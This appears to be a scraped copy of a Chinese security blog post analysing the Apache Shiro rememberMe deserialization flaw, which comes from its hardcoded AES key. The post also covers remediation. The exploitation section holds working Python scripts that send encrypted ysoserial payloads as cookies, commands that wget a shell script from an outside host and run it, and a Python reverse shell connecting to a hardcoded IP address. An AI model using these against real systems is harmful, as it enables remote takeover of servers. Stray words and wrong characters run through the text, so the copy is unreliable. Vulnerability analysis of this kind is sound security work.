Apache Shiro Java反序列化漏洞分析

1. 前言

最近工做上恰好碰到了這個漏洞,當時的漏洞環境是:html

  • shiro-core 1.2.4
  • commons-beanutils 1.9.1

最終利用ysoserial的CommonsBeanutils1命令執行。java

雖然在ysoserial裏CommonsBeanutils1類的版本爲1.9.2,不過上面環境測試確實能夠命令執行。python

CommonsBeanutils1   @frohoff  commons-beanutils:1.9.2

這裏當時有一個問題是:如何獲取Java裏引用組件的版本?git

大多數的時候,咱們只要解析pom.xml就能解析出相應組件的版本。但有的狀況下,並不能獲取組件的版本。好比有的pom.xml並無設置組件的version版本,沒有設置version的狀況,是由依賴決定。項目中依賴了A,A依賴了B,B的版本由A決定;又或者漏洞組件A是在組件B裏引用的,pom.xml裏並無組件A的配置。爲了解決這個問題,咱們能夠用mvn dependency:tree命令獲取全部組件調用關係,或者使用mvn dependency:list命令獲取全部組件,只是沒有調用關係。github

2. 漏洞影響

只要rememberMe的AES加密密鑰泄露,不管shiro是什麼版本都會致使反序列化漏洞。web

3. 環境搭建

漏洞的測試環境,能夠用docker搭建,有人已經寫好了。https://github.com/Medicean/VulApps/tree/master/s/shiro/1docker

搭建完成後,docker exec -it your_docker_id /bin/bash進入該docker的tomcat lib目錄/usr/local/tomcat/webapps/ROOT/WEB-INF/lib,看到形成漏洞的jar包爲:shell

  • shiro-core-1.2.4.jar
  • commons-collections4-4.0.jar (爲了進行命令執行的測試,額外添加的版本)

或者若是想動態調試,能夠根據Shiro RememberMe 1.2.4 反序列化致使的命令執行漏洞這篇文章本身搭建環境。不過文中並無說如何動態調試。我描述下如何在IDEA中動態調試shiro,這裏感謝@lightless指點,其實就是在IDEA中添加Tomcat運行。相關步驟以下:apache

Run -> Edit Configurations -> 添加TomcatServer(Local) -> Server中配置Tomcat路徑 -> Deployment中添加Artifact選擇sample-web:war exploded

4. 漏洞分析

先看下官網漏洞說明:https://issues.apache.org/jira/browse/SHIRO-550數組

Shiro提供了記住我(RememberMe)的功能,關閉了瀏覽器下次再打開時仍是能記住你是誰,下次訪問時無需再登陸便可訪問。

Shiro對rememberMe的cookie作了加密處理,shiro在CookieRememberMeManaer類中將cookie中rememberMe字段內容分別進行 序列化、AES加密、Base64編碼操做。

在識別身份的時候,須要對Cookie裏的rememberMe字段解密。根據加密的順序,不難知道解密的順序爲:

  • 獲取rememberMe cookie
  • base64 decode
  • 解密AES
  • 反序列化

可是,AES加密的密鑰Key被硬編碼在代碼裏,意味着每一個人經過源代碼都能拿到AES加密的密鑰。所以,攻擊者構造一個惡意的對象,而且對其序列化,AES加密,base64編碼後,做爲cookie的rememberMe字段發送。Shiro將rememberMe進行解密而且反序列化,最終形成反序列化漏洞。

4.1 加密

先來看看如何進行加密。

登陸http://localhost:8080/login.jsp,勾選rememberMe,登陸成功後,看到一個key爲rememberMe,value長度爲512的cookie。

NMhQ5j+uiYfUA+gQF93wGknW88ru39LFDKiOmaAuphx7h+r/XUhlebml7+KNwfF0gIIOnJg6LA8xVpzPJTYknq/aYPeeDNJEVYX8DSUMNUh0nbCdHW1YNuFDdBNg6chk5nEZwkh7dG9k+uAnZEfpFbRTajQ4vEolbOktGAS+feNmpurL2P/0dpWwzsSGMZubiVs0ICMVt6CS3qvU8rKC22lbPILSqTiD5Ao+6YNCm19qm/6uQ7De2E+gmKmxGA9o/EsaRUE71wdiHdJbaDeNOQ5am8rXiejqtfEl5YHzeU2MEdxqo+POVUgaSal7O3FYhLjfn4U1nS97/VUHfY7mlz3iP9rU4KvIYjtB5RhbNwkgoFmtUY6MFyFaJNoOAwKBfkeVY0w7QoF7zo0P1HEA3G1XEBR7GeC4O/XAChMnDx7NYfm5D5RZuWWNkW8qI0U9n5UJXmpVsS1hB3vor0eB/5gO5USMy+ToHAW3bOB6REK1x3/U9IS82sY/aLv7aXBA

 

從官網中,咱們知道處理Cookie的類是CookieRememberMeManaer,該類繼承AbstractRememberMeManager類,跟進AbstractRememberMeManager類,很容易看到AES的key。

private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

最簡單的調試方法,隨意登陸一個帳號,勾選rememberMe按鈕,在AbstractRememberMeManager類的onSuccessfulLogin方法下斷點,慢慢debug,全部邏輯就會明白了。

假設咱們以root的用戶名的登陸了。若是登陸成功,shiro先將登陸的用戶名root字符串進行序列化,使用DefaultSerializer類的serialize方法。

protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
        byte[] bytes = serialize(principals); // 進行序列化
        if (getCipherService() != null) {
            bytes = encrypt(bytes); // AES加密
        }
        return bytes;
    }

接着進行AES加密。動態跟蹤到AbstractRememberMeManager類的encrypt方法中,能夠看到AES的模式爲AES/CBC/PKCS5Padding,而且AES的key爲Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="),轉換爲16進制後是\x90\xf1\xfe\x6c\x8c\x64\xe4\x3d\x9d\x79\x98\x88\xc5\xc6\x9a\x68,key爲16字節,128位。

    protected byte[] encrypt(byte[] serialized) {
        byte[] value = serialized;
        CipherService cipherService = getCipherService();
        if (cipherService != null) {
            ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());
            value = byteSource.getBytes();
        }
        return value;
    }

進行AES加密,利用arraycopy()方法將隨機的16字節IV放到序列化後的數據前面,完成後再進行AES加密。

最後在CookieRememberMeManager類的rememberSerializedIdentity()方法中進行base64加密:

String base64 = Base64.encodeToString(serialized);

4.2 解密

有了AES的key、加密模式AES/CBC/PKCS5Padding,因爲AES是對稱加密,因此咱們已經能夠解密AES的密文了。

第一步:獲取rememberMe的Cookie

第二步:base64解碼。CookieRememberMeManager類的getRememberedSerializedIdentity()方法

byte[] decoded = Base64.decode(base64);

第三步:AES解密。base64解碼後的字節,減去前面16個字節。

AbstractRememberMeManager類的decrypt()方法

    protected byte[] decrypt(byte[] encrypted) {
        byte[] serialized = encrypted;
        CipherService cipherService = getCipherService();
        if (cipherService != null) {
            ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
            serialized = byteSource.getBytes();
        }
        return serialized;
    }

第四步:反序列化。DefaultSerializer類的deserialize()方法

    public T deserialize(byte[] serialized) throws SerializationException {
        if (serialized == null) {
            String msg = "argument cannot be null.";
            throw new IllegalArgumentException(msg);
        }
        ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
        BufferedInputStream bis = new BufferedInputStream(bais);
        try {
            ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
            @SuppressWarnings({"unchecked"})
            T deserialized = (T) ois.readObject();
            ois.close();
            return deserialized;
        } catch (Exception e) {
            String msg = "Unable to deserialze argument byte array.";
            throw new SerializationException(msg, e);
        }
    }
}

能夠看到,解密和加密徹底是對稱的。第四步中的readObject()方法,因爲反序列化的對象徹底由外部rememberMe Cookie控制。因此,一旦添加了有漏洞的common-collections包,就會形成任意命令執行。

5. 漏洞利用

5.1 commons-collections 4.0

針對https://github.com/Medicean/VulApps/tree/master/s/shiro/1docker環境的漏洞利用比較簡單。利用ysoserial的CommonsCollections2便可

import os
import re
import base64
import uuid
import subprocess
import requests
from Crypto.Cipher import AES

JAR_FILE = '/Users/Viarus/Downloads/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar'


def poc(url, rce_command):
    if '://' not in url:
        target = 'https://%s' % url if ':443' in url else 'http://%s' % url
    else:
        target = url
    try:
        payload = generator(rce_command, JAR_FILE)  # 生成payload
        r = requests.get(target, cookies={'rememberMe': payload.decode()}, timeout=10)  # 發送驗證請求
        print r.text
    except Exception, e:
        pass
    return False


def generator(command, fp):
    if not os.path.exists(fp):
        raise Exception('jar file not found!')
    popen = subprocess.Popen(['java', '-jar', fp, 'CommonsCollections2', command],
                             stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    poc('http://127.0.0.1:8080', 'open /Applications/Calculator.app')

本地成功彈計算器。

5.1 commons-collections 3.2.1

默認shiro的commons-collections版本爲3.2.1,而且在ysoserial裏並無3.2.1的版本,咱們利用3.2.1的payload,結果報以下錯誤:

java.lang.ClassNotFoundException: Unable to load ObjectStreamClass [[Lorg.apache.commons.collections.Transformer;: static final long serialVersionUID = -4803604734341277543L;]: 

報錯的緣由是由於:

Shiro resovleClass使用的是ClassLoader.loadClass()而非Class.forName(),而ClassLoader.loadClass不支持裝載數組類型的class。

固然爲了證實反序列化漏洞確實存在,咱們能夠利用ysoserial的URLDNS gadget進行驗證,參數改爲dns地址,測試能收到DNS請求。不過Java默認有TTL緩存,DNS解析會進行緩存,因此可能會出現第一次收到DNS的log,後面可能收不到的狀況。URLDNS gadget不須要其餘類的支持,它的Gadget Chain:

 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()

可是能夠利用ysoserial的JRMP。具體利用過程以下:

在有外網的服務器下監控一個JRMP端口,wget爲要執行的命令。

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'curl test.joychou.org'

此時執行poc,已經執行了curl test.joychou.org命令。

#coding: utf-8

import os
import re
import base64
import uuid
import subprocess
import requests
from Crypto.Cipher import AES

JAR_FILE = '/Users/Viarus/Downloads/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar'


def poc(url, rce_command):
    if '://' not in url:
        target = 'https://%s' % url if ':443' in url else 'http://%s' % url
    else:
        target = url
    try:
        payload = generator(rce_command, JAR_FILE)  # 生成payload
        print payload
        print payload.decode()
        r = requests.get(target, cookies={'rememberMe': payload.decode()}, timeout=10)  # 發送驗證請求
        print r.text
    except Exception, e:
        print(e)
        pass
    return False


def generator(command, fp):
    if not os.path.exists(fp):
        raise Exception('jar file not found!')
    popen = subprocess.Popen(['java', '-jar', fp, 'JRMPClient', command],
                             stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


poc('http://127.0.0.1:8080', '47.52.77.204:12345')

不過若是想達到命令執行的目標,能夠分別執行兩條命令:

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'wget test.joychou.org/shell.py -O /tmp/shell.py'

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'python /tmp/shell.py'

shell.py爲反彈shell的代碼:

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("47.52.77.204",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

6. 漏洞修復

先說結論:不管是否升級shiro到1.2.5及以上,若是shiro的rememberMe功能的AES密鑰一旦泄露,就會致使反序列化漏洞。

跟了shiro 1.3.2的代碼,看到官方的操做以下:

  • 刪除代碼裏的默認密鑰
  • 默認配置裏註釋了默認密鑰
  • 若是不配置密鑰,每次會從新隨機一個密鑰

能夠看到並無對反序列化作安全限制,只是在邏輯上對該漏洞進行了處理。
若是在配置裏本身單獨配置AES的密鑰,而且密鑰一旦泄露,那麼漏洞依然存在。

因此漏洞修復的話,我建議下面的方案同時進行:

  • 升級shiro到1.2.5及以上
  • 若是在配置裏配置了密鑰,那麼請必定不要使用網上的密鑰,必定不要!!請本身base64一個AES的密鑰,或者利用官方提供的方法生成密鑰:org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()

7. 總結

  • 標準的AES的加解密只跟私鑰key和加密模式有關,和IV無關。
  • 爲了證實反序列化漏洞確實存在,能夠利用ysoserial的URLDNS gadget進行驗證,可是默認會有TTL緩存機制,默認10s。

反序列化致使的命令執行須要兩個點:

  1. readObject()反序列化的內容可控。
  2. 應用引用的jar包中存在可命令執行的Gadget Chain。

8. Reference

本文由 JoyChou 創做,採用 知識共享署名4.0 國際許可協議進行許可本站文章除註明轉載/出處外,均爲本站原創或翻譯,轉載前請務必署名。

相關文章
相關標籤/搜索